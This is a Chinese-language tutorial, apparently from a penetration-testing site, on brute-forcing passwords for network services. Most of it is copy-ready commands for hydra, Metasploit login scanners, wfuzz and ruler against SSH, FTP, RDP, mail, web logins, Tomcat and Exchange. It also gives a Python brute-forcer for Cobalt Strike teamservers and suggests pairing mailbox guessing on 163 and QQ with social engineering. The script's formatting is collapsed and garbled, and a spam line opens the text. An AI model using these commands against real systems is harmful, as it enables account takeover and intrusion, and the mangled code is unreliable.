莆田交友網(wǎng)站市場惠州網(wǎng)站建設(shè)方案推廣
Web安全
- 一、常見的端口服務(wù)窮舉
- 1、hydra 密碼窮舉工具的使用
- 2、使用 hydra 窮舉 ssh 服務(wù)
- 3、使用 hydra 窮舉 ftp 服務(wù)
- 4、使用 hydra 窮舉 mysql 服務(wù)
- 5、使用 hydra 窮舉 smb 服務(wù)
- 6、使用 hydra 窮舉 http 服務(wù)
- 7、使用 hydra 窮舉 pop3 服務(wù)
- 8、使用 hydra 窮舉 rdp 服務(wù)
- 9、使用 hydra 窮舉 http-proxy 服務(wù)
- 10、使用 hydra 窮舉 imap 服務(wù)
- 11、使用 hydra 窮舉 telnet 服務(wù)
- 二、xhydra 窮舉工具破解各種服務(wù)
- 三、metasploit 窮舉模塊的使用
- 四、御劍 RDP 爆破工具的使用
- 五、wfuzz 多線程窮舉密碼
- 六、郵箱密碼的窮舉
- 1、企業(yè)獨立搭建的郵服 用 MailCracker 進行破解
- 2、針對 163 qq 這些郵箱用 mail 腳本進行窮舉
- 七、CobaltStrike TeamServer 口令暴力破解
- 八、對 apache-tomcat 服務(wù)進行窮舉
- 九、超級弱口令窮舉使用
- 十、exchange 郵服窮舉
一、常見的端口服務(wù)窮舉
1、hydra 密碼窮舉工具的使用
hydra 是一個端口窮舉服務(wù)器的工具
adam6500 asterisk cisco cisco-enable cvs firebird ftp[s]
http[s]-{head|get|post} http[s]-{get|post}-form http-proxy
http-proxy-urlenum icq imap[s] irc ldap2[s]
ldap3[-{cram|digest}md5][s] memcached mongodb mssql mysql nntp
oracle-listener oracle-sid pcanywhere pcnfs pop3[s] postgres radmin2
rdp redis rexec rlogin rpcap rsh rtsp s7-300 sip smb smtp[s]
smtp-enum snmp socks5 ssh sshkey svn teamspeak telnet[s] vmauthd vnc
xmpp
使用例子
hydra -l user -P passlist.txt ftp://192.168.0.1
hydra -L userlist.txt -p defaultpw imap://192.168.0.1/PLAIN
hydra -C defaults.txt -6 pop3s://[2001:db8::1]:143/TLS:DIGEST-MD5 hydra -l admin -p password ftp://[192.168.0.0/24]/
hydra -L logins.txt -P pws.txt -M targets.txt ssh
常用參數(shù)說明
hydra [[[-l LOGIN|-L FILE] [-p PASS|-P FILE]] | [-C FILE]] [-e ns]
[-o FILE] [-t TASKS] [-M FILE [-T TASKS]] [-w TIME] [-f] [-s PORT] [-S] [-vV]
server service [OPT]
-R
繼續(xù)從上一次進度接著破解
-S
大寫,采用 SSL 鏈接
-s <PORT>
小寫,可通過這個參數(shù)指定非默認端口
-l <LOGIN>
指定破解的用戶,對特定用戶破解
-L <FILE>
指定用戶名字典
-p <PASS>
小寫,指定密碼破解,少用,一般是采用密碼字典
-P <FILE>
大寫,指定密碼字典
-e <ns>
可選選項,n:空密碼試探,s:使用指定用戶和密碼試探
-C <FILE>
使用冒號分割格式,例如“登錄名:密碼”來代替-L/-P 參數(shù)
-M <FILE>
指定目標列表文件一行一條
-o <FILE>
指定結(jié)果輸出文件
-f
在使用-M 參數(shù)以后,找到第一對登錄名或者密碼的時候中止破解
-t <TASKS>
同時運行的線程數(shù),默認為 16
-w <TIME>
設(shè)置最大超時的時間,單位秒,默認是 30s
-v / -V
顯示詳細過程
server
目標 ip
service
指定服務(wù)名,支持的服務(wù)和協(xié)議:
telnet ftp pop3[-ntlm] imap[-ntlm] smb smbnt http[s]-{head|get}
http-{get|post}-form http-proxy cisco cisco-enable vnc ldap2 ldap3
mssql mysql oracle-listener postgres nntp socks5 rexec rlogin pcnfs
snmp rsh cvs svn icq sapr3 ssh2 smtp-auth[-ntlm] pcanywhere teamspeak
sip vmauthd firebird ncp afp 等等
OPT
可選項
2、使用 hydra 窮舉 ssh 服務(wù)
-L 用戶字典文件 -P 密碼字典文件 -t 線程數(shù) -vV 詳細信息 -e ns 使用空口令使用指定用戶和密碼試探 192.168.1.104 你要窮舉的 ip ssh 是服務(wù) -o 保存文件
-f 如果找到馬上中斷掃描
hydra -L users.txt -P password.txt -t 1 -vV -e ns 192.168.1.104 ssh -o ssh.txt -f
ssh://192.168.1.104
192.168.1.104 ssh
-l 指定用戶
hydra -l root -P password.txt -t 1 -vV -e ns 192.168.1.104 ssh -o ssh.txt -f
hydra -l root -P 2019_top100.txt 192.168.52.13 ssh -vV -f
3、使用 hydra 窮舉 ftp 服務(wù)
hydra ip ftp -l 用戶名 -P 密碼字典 -t 線程(默認 16) -vV
hydra ip ftp -l 用戶名 -P 密碼字典 -e ns -vV
hydra -l c5moon -P 2019_top100.txt 192.168.52.6 ftp -vV -f
4、使用 hydra 窮舉 mysql 服務(wù)
hydra ip mysql -l 用戶名 -P 密碼字典 -t 線程(默認 16) -vV
hydra ip mysql -l 用戶名 -P 密碼字典 -e ns -vV
hydra ip mysql -l 用戶名 -P 密碼字典 -e ns -vV -s 端口
5、使用 hydra 窮舉 smb 服務(wù)
hydra -l administrator -P 2019_top100.txt 192.168.52.6 smb -vV -f
6、使用 hydra 窮舉 http 服務(wù)
hydra -l admin -P 2019_top100.txt -vV -f www.c1moon.com http-post-form "/admin/index.php:user=^USER^&ps=^PASS^&action=login:login-error"
7、使用 hydra 窮舉 pop3 服務(wù)
hydra -L user.txt -P qweasd123 192.168.52.6 smtp-vV -f
8、使用 hydra 窮舉 rdp 服務(wù)
hydra ip rdp -l administrator -P pass.txt -V
9、使用 hydra 窮舉 http-proxy 服務(wù)
hydra -l admin -P pass.txt http-proxy://10.36.16.18
10、使用 hydra 窮舉 imap 服務(wù)
hydra -L user.txt -p secret 10.36.16.18 imap PLAIN
hydra -C defaults.txt -6 imap://[fe80::2c:31ff:fe12:ac11]:143/PLAIN
11、使用 hydra 窮舉 telnet 服務(wù)
hydra ip telnet -l 用戶 -P 密碼字典 -t 32 -s 23 -e ns -f -V
二、xhydra 窮舉工具破解各種服務(wù)
xhydra 是 hydra 的可視化工具 使用簡單方便快捷。終端輸入 xhydra 即可使用。
使用 hydra 破解 rdp 服務(wù)
三、metasploit 窮舉模塊的使用
metasploit 是一個滲透測試集成套件 同樣也有窮舉模塊
auxiliary/scanner/ftp/ftp_login
auxiliary/scanner/ssh/ssh_login
auxiliary/scanner/telnet/telnet_login
auxiliary/scanner/smb/smb_login
auxiliary/scanner/mssql/mssql_login
auxiliary/scanner/mysql/mysql_login
auxiliary/scanner/oracle/oracle_login
auxiliary/scanner/postgres/postgres_login
auxiliary/scanner/vnc/vnc_login
auxiliary/scanner/pcanywhere/pcanywhere_login
auxiliary/scanner/snmp/snmp_login
模塊的用法
首先啟動在終端下啟動 msfconsole use 使用 ssh_login 模塊
use auxiliary/scanner/ssh/ssh_login
show options 查看模塊的參數(shù)
RHOSTS 攻擊的目標
PASS_FILE 密碼字典STOP_ON_SUCCESS 成功破解一個終止THREADS 線程數(shù)
set 設(shè)置參數(shù)
msf5 auxiliary(scanner/ssh/ssh_login) > set PASS_FILE /home/kali/2019_top100.txt PASS_FILE => /home/kali/2019_top100.txt
msf5 auxiliary(scanner/ssh/ssh_login) > set RHOSTS 192.168.52.13 RHOSTS => 192.168.52.13
msf5 auxiliary(scanner/ssh/ssh_login) > set STOP_ON_SUCCESS true STOP_ON_SUCCESS => true
msf5 auxiliary(scanner/ssh/ssh_login) > set USERNAME root USERNAME => root
msf5 auxiliary(scanner/ssh/ssh_login) > show options
設(shè)置好后用 run 或者 exploit 進行攻擊
四、御劍 RDP 爆破工具的使用
五、wfuzz 多線程窮舉密碼
Usage: wfuzz [options] -z payload,params <url>
Examples:
wfuzz -c -z file,users.txt -z file,pass.txt --sc 200 http://www.site.com/log.asp?user=FUZZ&pass=FUZ2Z
wfuzz -c -z range,1-10 --hc=BBB http://www.site.com/FUZZ{something not there}
wfuzz --script=robots -z list,robots.txt http://www.webscantest.com/FUZZ
wfuzz -c -z file,2019_top100.txt --sc 302 -u http://www.c1moon.com/admin/index.php?action=login -d "user=admin&pw=FUZZ"
wfuzz -c -z file,2019_top100.txt --hc 404 --hh 1549 -u http://www.c1moon.com/admin/index.php?action=login -d "user=admin&pw=FUZZ"
wfuzz -c -w /home/kali/csdnpass.txt --hc 404 --hh 1549 -u http://www.c1moon.com/admin/index.php?action=login -d "user=admin&pw=FUZZ"
六、郵箱密碼的窮舉
默認的收發(fā)郵件端口信息發(fā)郵件 pop3 110 加密 995
收郵件 smtp 25 加密 465
1、企業(yè)獨立搭建的郵服 用 MailCracker 進行破解
2、針對 163 qq 這些郵箱用 mail 腳本進行窮舉
像 163 qq 這些郵箱 并發(fā)會攔截,而且不能窮舉太多。一般配合社工辦法來窮舉。
七、CobaltStrike TeamServer 口令暴力破解
Cobalt Strike 是一款超級好用的滲透測試工具,擁有多種協(xié)議主機上線方式,集成了提權(quán),憑據(jù)導(dǎo)出,端口轉(zhuǎn)發(fā),socket 代理,office 攻擊,文件捆綁,釣魚等多種功能。同時,Cobalt Strike 還可以調(diào)用Mimikatz 等其他知名工具,因此廣受技術(shù)大佬的喜愛。Cobalt Strike 是一款超級好用的滲透測試工具,擁有多種協(xié)議主機上線方式,集成了提權(quán),憑據(jù)導(dǎo)出,端口轉(zhuǎn)發(fā),socket 代理,office 攻擊, 文件捆綁,釣魚等多種功能。同時,Cobalt Strike 還可以調(diào)用Mimikatz 等其他知名工具,因此廣受技術(shù)大佬的喜愛。
Cobalt Strike 是由美國 Red Team 開發(fā),官網(wǎng)地址: http://cobaltstrike.com
這個工具的社區(qū)版是大家熟知的 Armitage(一個 MSF 的圖形化界面工具),而Cobalt Strike 大家可以理解其為 Armitage 的商業(yè)版。
TeamServer 口令暴力破解
然而今天我們并不是介紹和講解 Cobalt Strike,而是關(guān)于 Cobalt Strike 的口令暴力破解,眾所周知 Cobalt Strike 的工作方式是以TeamServer 為核心,可多個 Cilent 的 CS(Server Cilent)架構(gòu)。
啟動 teamserver
sudo ./teamserver 192.168.0.102 123456
啟動 temaerver 之后可以通過客戶端連接連接服務(wù)器 默認的端口是 50050 密碼是 123456 即可登錄。
如果把 teamserver 放在公網(wǎng)上,口令設(shè)置薄弱 可以通過對其窮舉有一定的幾率獲取 teamserver 的權(quán)限,那么服務(wù)器里的被成功控制的機器,我們也可以對其控制。所以說危害是非常大的。
使用 csbuster.py 對 50050 端口進行密碼窮舉
#!/usr/bin/env python3
# -*- coding:gbk -*- import time
import socket
import ssl
import argparse
import concurrent.futures
import sys
# csbrute.py - Cobalt Strike Team Server Password Brute Forcer
#
https://stackoverflow.com/questions/6224736/how-to-write-python-code-that-is-able-t o-properly-require-a-minimal-python-versiMIN_PYTHON = (3, 3)
if sys.version_info < MIN_PYTHON:sys.exit("Python %s.%s or later is required.\n" % MIN_PYTHON) parser = argparse.ArgumentParser()parser.add_argument("host",help="Teamserver address") parser.add_argument("wordlist", nargs="?",help="Newline-delimited word list file") parser.add_argument("-p", dest="port", default=50050, type=int,help="Teamserver port") parser.add_argument("-t",dest="threads", default=25, type=int,help="Concurrency level") args = parser.parse_args()#
https://stackoverflow.com/questions/27679890/how-to-handle-ssl-connections-in-raw- python-socketclass NotConnectedException(Exception):def init (self, message=None, node=None): self.message = messageself.node = nodeclass DisconnectedException(Exception):def init (self, message=None, node=None): self.message = messageself.node = nodeclass Connector:def init (self): self.sock = None self.ssl_sock = Noneself.ctx = ssl.SSLContext() self.ctx.verify_mode = ssl.CERT_NONE passdef is_connected(self):return self.sock and self.ssl_sockdef open(self, hostname, port):self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)self.sock.settimeout(10)self.ssl_sock = self.ctx.wrap_socket(self.sock)if hostname == socket.gethostname():ipaddress = socket.gethostbyname_ex(hostname)[2][0] self.ssl_sock.connect((ipaddress, port))else:self.ssl_sock.connect((hostname, port))def close(self):if self.sock:self.sock.close() self.sock = None self.ssl_sock = Nonedef send(self, buffer):if not self.ssl_sock: raise NotConnectedException("Not connected (SSL Socket is null)")self.ssl_sock.sendall(buffer)def receive(self):if not self.ssl_sock: raise NotConnectedException("Not connected (SSL Socket is null)")received_size = 0 data_buffer = b""while received_size < 4:data_in = self.ssl_sock.recv() data_buffer = data_buffer + data_in received_size += len(data_in)return data_bufferdef passwordcheck(password): if len(password) > 0:result = Noneconn = Connector() conn.open(args.host, args.port)payload = bytearray(b"\x00\x00\xbe\xef") + len(password).to_bytes(1, "big", signed=True) + bytes(bytes(password, "ascii").ljust(256, b"A")) conn.send(payload)if conn.is_connected(): result = conn.receive() if conn.is_connected(): conn.close()if result == bytearray(b"\x00\x00\xca\xfe"): return passwordelse:return Falseelseprint("Ignored blank password") passwords = []if args.wordlist:print("Wordlist: {}".format(args.wordlist)) passwords = open(args.wordlist).read().split("\n") else:print("Wordlist: {}".format("stdin")) for line in sys.stdin:passwords.append(line.rstrip())if len(passwords) > 0:print("Word Count: {}".format(len(passwords))) print("Threads: {}".format(args.threads))start = time.time()# https://stackoverflow.com/questions/2846653/how-to-use-threading-in-pythonattempts = 0failures = 0with concurrent.futures.ThreadPoolExecutor(max_workers=args.threads) as executor:future_to_check = {executor.submit(passwordcheck, password): password for password in passwords}for future in concurrent.futures.as_completed(future_to_check): password = future_to_check[future]try:data = future.result() attempts = attempts + 1 if data:print("Found Password: {}".format(password)) except Exception as exc:failures = failures + 1print('%r generated an exception: %s' % (password, exc))print("Attempts: {}".format(attempts)) print("Failures: {}".format(failures)) finish = time.time()print("Seconds: {:.1f}".format(finish - start))print("Attemps per second: {:.1f}".format((failures + attempts) / (finish - start)))print("Password(s) required")
python3 csbuster.py 192.168.0.102 /home/kali/top1000.txt -t 20
https://www.moonsec.com/archives/3089
八、對 apache-tomcat 服務(wù)進行窮舉
Apache Tomcat 是世界上使用最廣泛的 Java Web 應(yīng)用服務(wù)器之一,絕大數(shù)人都會使用 Tomcat 的默認配置。然而默認配置中會有一個向外網(wǎng)開放的 Web 應(yīng)用管理器,管理員可以利用它在服務(wù)器中啟動、停止、添加和刪除應(yīng)用。
use scanner/http/tomcat_mgr_login set PASSWORD 設(shè)置密碼字典
set RPORT 8081 設(shè)置端口
set RHOSTS 192.168.52.6
exploit 攻擊
九、超級弱口令窮舉使用
十、exchange 郵服窮舉
ruler -domain evilcorp.ninja -brute -usernames~/users.txt -passwords ~/passwords.txt -delay 0 -v -insecure